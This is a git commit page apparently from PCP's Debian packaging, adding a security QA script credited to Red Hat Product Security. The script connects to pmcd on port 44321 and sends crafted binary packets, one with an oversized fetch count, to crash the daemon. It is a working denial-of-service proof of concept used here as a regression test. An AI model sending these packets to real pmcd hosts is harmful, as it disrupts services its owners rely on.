diff options
| author | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
|---|---|---|
| committer | Igor Pashev <pashev.igor@gmail.com> | 2014-10-26 12:33:50 +0400 |
| commit | 47e6e7c84f008a53061e661f31ae96629bc694ef (patch) | |
| tree | 648a07f3b5b9d67ce19b0fd72e8caa1175c98f1a /qa/secure/crash-fetch | |
| download | pcp-debian/3.9.10.tar.gz | |
Debian 3.9.10debian/3.9.10debian
Diffstat (limited to 'qa/secure/crash-fetch')
| -rwxr-xr-x | qa/secure/crash-fetch | 16 |
1 files changed, 16 insertions, 0 deletions
diff --git a/qa/secure/crash-fetch b/qa/secure/crash-fetch new file mode 100755 index 0000000..d1cf2db --- /dev/null +++ b/qa/secure/crash-fetch @@ -0,0 +1,16 @@ +# +# usage: python crash-fetch HOST +# +# Connects to pmcd on HOST and sends a crafted PDU_FETCH packet +# +# Florian Weimer / Red Hat Product Security Team +# +import socket +import sys +_, host = sys.argv +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect((host, 44321)) +sock.send(str("\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00") + +str('\x00\x00\x00\x1c\x00\x00p\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\xff')) + +sock.close() |